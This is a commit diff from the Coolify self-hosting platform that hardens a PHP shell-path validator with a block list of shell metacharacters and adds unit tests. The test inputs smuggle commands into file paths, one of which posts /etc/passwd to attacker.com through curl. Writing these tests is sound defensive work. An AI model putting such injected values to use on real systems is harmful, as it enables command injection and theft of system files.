An open-source, self-hostable PaaS alternative to Vercel, Heroku & Netlify that lets you easily deploy static sites, databases, full-stack applications and 360+ one-click services on your own servers.
PHP coolifydatabasesdeploymentdockerdocker-composeinertiajslaravelmariadbmysqlnextjsnodejsphppostgresredisself-hostedself-hostingserverstatic-sitesveltesvelte5
refactor: harden and deduplicate validateShellSafePath
Andras Bacsai53cd2a6e8622
diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.phpindex 7a74c702f7..0f5b6f5538 100644--- a/bootstrap/helpers/shared.php+++ b/bootstrap/helpers/shared.php@@ -128,6 +128,7 @@ function validateShellSafePath(string $input, string $context = 'path'): string';' => 'command separator',"\n" => 'newline (command separator)',"\r" => 'carriage return',+ "\t" => 'tab (token separator)','>' => 'output redirection','<' => 'input redirection',];@@ -142,15 +143,6 @@ function validateShellSafePath(string $input, string $context = 'path'): string}}- // Additional pattern-based checks for complex attack vectors- // Check for command substitution patterns: $(command) or `command`- if (preg_match('/\$\(|\$\{|`/', $input)) {- throw new \Exception(- "Invalid {$context}: command substitution patterns detected. ".- 'This is not allowed for security reasons.'- );- }-return $input;}diff --git a/tests/Unit/ValidateShellSafePathTest.php b/tests/Unit/ValidateShellSafePathTest.phpindex bc6d2a60da..8181670e27 100644--- a/tests/Unit/ValidateShellSafePathTest.php+++ b/tests/Unit/ValidateShellSafePathTest.php@@ -78,6 +78,13 @@ test('blocks newline command separator', function () {->toThrow(Exception::class, 'newline');});+test('blocks tab character as token separator', function () {+ $path = "/tmp/file\tcurl attacker.com";++ expect(fn () => validateShellSafePath($path, 'test'))+ ->toThrow(Exception::class, 'tab');+});+test('blocks complex command injection with the example from issue', function () {$path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`';